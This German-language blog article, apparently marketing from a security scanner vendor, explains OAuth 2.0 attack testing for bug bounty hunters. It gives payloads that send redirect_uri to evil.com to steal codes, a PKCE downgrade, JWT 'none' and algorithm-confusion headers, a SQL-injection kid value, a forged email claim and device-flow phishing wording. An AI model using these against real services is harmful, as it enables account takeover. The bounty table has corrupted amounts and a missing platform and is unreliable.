Schwachstellen in OAuth 2.0 führen regelmäßig die Ranglisten der Bug-Bounty-Auszahlungen für kritische Sicherheitslücken an. Eine einzige Kontoübernahme aufgrund einer OAuth-Fehlkonfiguration kann zur vollständigen Kompromittierung eines Unternehmens führen — und solche Fehler treten in Anwendungen auf, die von Milliarden Menschen genutzt werden.
Welchen Flow ein Ziel verwendet, bestimmt, welche Angriffe getestet werden müssen. Der Authorization-Code-Flow (mit PKCE) ist am sichersten und am weitesten verbreitet. Der inzwischen veraltete Implicit-Flow weist zahlreiche Schwachstellen auf. Client Credentials (Maschine-zu-Maschine) besitzt eine eigene Angriffsfläche. Niemals in Produktionsumgebungen verwenden: Resource Owner Password Credentials.
Wenn der Autorisierungsserver redirect_uri nicht präzise genug validiert, kann ein Angreifer den Autorisierungscode an einen von ihm kontrollierten Server weiterleiten.
# Legitime Anfrage
https://auth.example.com/oauth/authorize?
client_id=app123&
redirect_uri=https://app.com/callback&
response_type=code&state=xyz
# Angriffsversuche
# 1. Pfadtraversierung
redirect_uri=https://app.com/callback/../../../evil.com/steal
# 2. Zusätzlicher Pfad
redirect_uri=https://app.com.evil.com/callback
# 3. Umgehung mittels Fragment
redirect_uri=https://app.com/callback%23@evil.com
# 4. Umgehung mittels Abfragezeichenfolge
redirect_uri=https://app.com/callback?next=https://evil.com
Der Parameter state verhindert CSRF-Angriffe während OAuth-Flows. Fehlt er oder ist er vorhersehbar, kann ein Angreifer Opfer dazu zwingen, ihre Konten mit vom Angreifer kontrollierten Identitäten zu verknüpfen — und dadurch eine Kontoübernahme ermöglichen.
# Prüfen, ob state:
# 1. In der Autorisierungsanfrage vorhanden ist
# 2. Beim Callback validiert wird
# 3. Kryptografisch zufällig ist (nicht sequenziell/vorhersehbar)
# 4. Nur einmal verwendbar ist (wiederverwendete state-Werte sollten abgelehnt werden)
# Test: denselben state-Parameter erneut verwenden
curl -s "https://app.com/oauth/callback?code=VALID_CODE&state=PREVIOUSLY_USED_STATE"
# Sollte zurückgeben: Fehler (state bereits verwendet)
# Autorisierungscodes dürfen nur einmal verwendet werden
# Durch erneutes Senden des Codes nach dem ersten Austausch testen:
# Erste Verwendung (legitim)
POST /oauth/token
code=AUTH_CODE_123&grant_type=authorization_code&...
# Zweite Verwendung (sollte fehlschlagen)
POST /oauth/token
code=AUTH_CODE_123&grant_type=authorization_code&...
# Erwartet: {"error": "invalid_grant"}
PKCE verhindert Angriffe durch das Abfangen von Autorisierungscodes. Wenn ein Server PKCE unterstützt, aber nicht erzwingt, sind öffentliche Clients gefährdet.
# Flow MIT PKCE starten (legitim)
code_verifier = generate_random_string(64)
code_challenge = base64url(sha256(code_verifier))
GET /authorize?
code_challenge=abc123&
code_challenge_method=S256&...
# Angriff: Code austauschen, OHNE code_verifier bereitzustellen
POST /token
grant_type=authorization_code&
code=INTERCEPTED_CODE&
redirect_uri=https://legitimate-app.com/callback
# Fehlt: code_verifier
# Falls dies gelingt -> PKCE wird nicht erzwungen -> Kritische Schwachstelle
# Versuch einer Herabstufung von S256 auf plain (weniger sicher)
GET /authorize?
code_challenge=ACTUAL_CODE_VERIFIER&
code_challenge_method=plain&...
# Falls akzeptiert: Der Server verwendet möglicherweise plain statt S256
# Anschließend mit code_verifier = ursprünglicher Klartext austauschen
POST /token
code_verifier=ORIGINAL_PLAIN_TEXT&...
Beim Implicit-Flow (veraltet, aber noch immer anzutreffen) werden Zugriffstoken in URL-Fragmenten (#access_token=...) nicht in Referer-Headern übertragen — Token in Abfrageparametern (?access_token=...) hingegen schon. Prüfen Sie stets, wie Token in URLs erscheinen.
# Minimalen Berechtigungsumfang anfordern
GET /authorize?scope=read:email&...
# Nach Erhalt des Zugriffstokens nicht autorisierte API-Aufrufe testen
GET /api/user/delete
Authorization: Bearer ACCESS_TOKEN_WITH_READ_SCOPE
# Sollte 403 zurückgeben, nicht 200
# Falls Zugriffstoken JWTs sind, Folgendes testen:
# 1. Algorithmusverwechslung (RS256 -> HS256)
header = {"alg": "HS256", "typ": "JWT"}
# Mit dem öffentlichen Schlüssel als HMAC-Geheimnis signieren
# 2. None-Algorithmus
header = {"alg": "none", "typ": "JWT"}
# Einige Bibliotheken akzeptieren unsignierte Token
# 3. Kid-Injektion (falls 'kid' verwendet wird)
header = {"alg": "HS256", "kid": "' OR 1=1--"}
# SQL-Injektion im kid-Parameter
# Werkzeuge:
# jwt_tool: python3 jwt_tool.py TOKEN -T (manipulieren)
# jwt-cracker: für schwache Geheimnisse
# Prüfen, ob alte Aktualisierungstoken nach der Rotation ungültig werden
POST /token
grant_type=refresh_token&refresh_token=OLD_REFRESH_TOKEN
# Falls dies ein neues Token zurückgibt -> altes Token wurde nicht ungültig gemacht
# Ein Angreifer, der das alte Aktualisierungstoken gestohlen hat, kann weiterhin neue Zugriffstoken abrufen
Wenn sich ein Opfer mit E-Mail-Adresse und Passwort registriert (E-Mail: victim@gmail.com) und ein Angreifer ein Google-OAuth-Konto mit derselben E-Mail-Adresse verknüpfen kann, um das Konto des Opfers zu übernehmen — ohne dass Google die Inhaberschaft bestätigt — handelt es sich um eine kritische Kontoübernahme. Dies ist besonders häufig auf Plattformen der Fall, die die Verknüpfung mehrerer Authentifizierungsanbieter erlauben.
# Angriffsszenario:
# 1. Angreifer erstellt ein Konto mit victim@example.com (bevor sich das Opfer registriert)
# 2. Angreifer verknüpft seinen OAuth-Anbieter mit dieser E-Mail-Adresse
# 3. Das Opfer registriert sich später über Google OAuth mit victim@example.com
# 4. Das Opfer erhält Zugriff auf das vorab erstellte Konto des Angreifers (oder umgekehrt)
# Testverfahren:
# 1. Konto mit der E-Mail-Adresse des Opfers registrieren (bevor es existiert)
# 2. OAuth mit einer anderen E-Mail-Adresse verbinden
# 3. Versuchen, auf das zukünftige Konto des Opfers zuzugreifen
# Einige Implementierungen erlauben die Angabe von access_token in der Anfrage
# oder binden Token nicht ordnungsgemäß an Sitzungen
# Test: bekannten Token-Wert erzwingen
GET /oauth/callback?access_token=KNOWN_VALUE
# Falls die Anwendung dieses Token akzeptiert und verwendet -> Token-Fixierung
# Falls eine Anwendung Konten anhand von email statt sub zuordnet:
# Bösartigen OAuth-Anbieter mit der E-Mail-Adresse des Opfers als 'email'-Claim registrieren
# Einige Anbieter erlauben das Festlegen beliebiger email-Claims
# Durch Erstellen eines benutzerdefinierten OAuth-Anbieters mit folgenden Werten testen:
{
"sub": "attacker-unique-id",
"email": "victim@example.com",
"email_verified": true
}
# Vertrauliche Clients müssen sich mit client_secret authentifizieren
# Prüfen, ob client_secret optional ist:
POST /token
grant_type=authorization_code&
code=CODE&
client_id=CONFIDENTIAL_CLIENT_ID&
# Fehlt: client_secret
# Falls dies funktioniert -> Client-Authentifizierung wird nicht erzwungen
# Der Geräte-Flow (für Geräte mit eingeschränkten Eingabemöglichkeiten) kann für Phishing missbraucht werden
POST /device/code
client_id=LEGITIMATE_CLIENT
# Gibt einen user_code zurück, den das Opfer unter verification_uri eingibt
# Der Angreifer nutzt dies für Social Engineering:
# „Geben Sie den Code XXXX-XXXX unter accounts.target.com/activate ein“
| Fehlertyp | Plattform | Auswirkung | Prämie |
|---|---|---|---|
| Umgehung von redirect_uri | Kontoübernahme | 5,000 | |
| Fehlender state-Parameter | Airbnb | CSRF → Kontoübernahme | $8,000 |
| Wiederverwendung von Codes | Microsoft | Replay-Angriff | 5,000 |
| JWT-None-Algorithmus | Auth0 | Umgehung der Authentifizierung | 0,000 |
| Kontoübernahme durch E-Mail-Verwechslung | Slack | Kontoübernahme | 0,000 |
| PKCE nicht erzwungen | Mehrere | Abfangen von Codes | $5,000+ |
Der AI-gestützte Scanner von KENSAI testet Ihre OAuth-Implementierungen automatisch auf das Abfangen von Autorisierungscodes, die Umgehung von PKCE, Token-Schwachstellen und Szenarien zur Kontoübernahme.
Kostenlosen Scan starten →Sicherheit ist nicht optional.
🗡️ Das KENSAI-Team